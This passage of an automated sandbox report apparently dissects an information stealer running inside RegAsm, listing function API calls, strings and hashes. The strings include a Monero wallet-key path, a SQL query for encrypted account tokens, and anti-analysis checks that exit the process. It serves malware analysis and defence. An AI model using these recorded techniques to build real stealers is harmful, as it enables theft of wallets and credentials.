Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00EF1ED8,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00EF1ED8,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

@, xrefs: 00417BED
%d MB, xrefs: 00417C43

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00401310 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00EF0768,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
wallet_path, xrefs: 00401330
SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrcat$File$AllocHeapLocallstrlenmemset$ChangeCloseCreateFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 99493178-218353709
Opcode ID: 917d05209e3c6e9ca6065a0a923e579d9e5d238dbdb3523c9004ab1032494658
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: 917d05209e3c6e9ca6065a0a923e579d9e5d238dbdb3523c9004ab1032494658
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountTokens, xrefs: 0040B91A
AccountTokens, xrefs: 0040B9A9
AccountId, xrefs: 0040BB02

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF2A0), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF330), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF1E0), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF420), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF1F8), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EE2F40), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EE2C00), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EE2CE0), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF228), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF438), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF2B8), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF2D0), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EE29A0), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EDF300), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: CreateDCA.GDI32(00EEAB38,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00EEAB28,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,00EEAB28,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleLangName__aulldiv$CapsComputerCurrentDeviceGlobalInfoMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 4014759737-0
Opcode ID: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EEAB28,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00417130 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,00EEB528,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,00EF1CE0,00000000,00000000,?,000000FF), ref: 0041719E

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,00EEB528,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
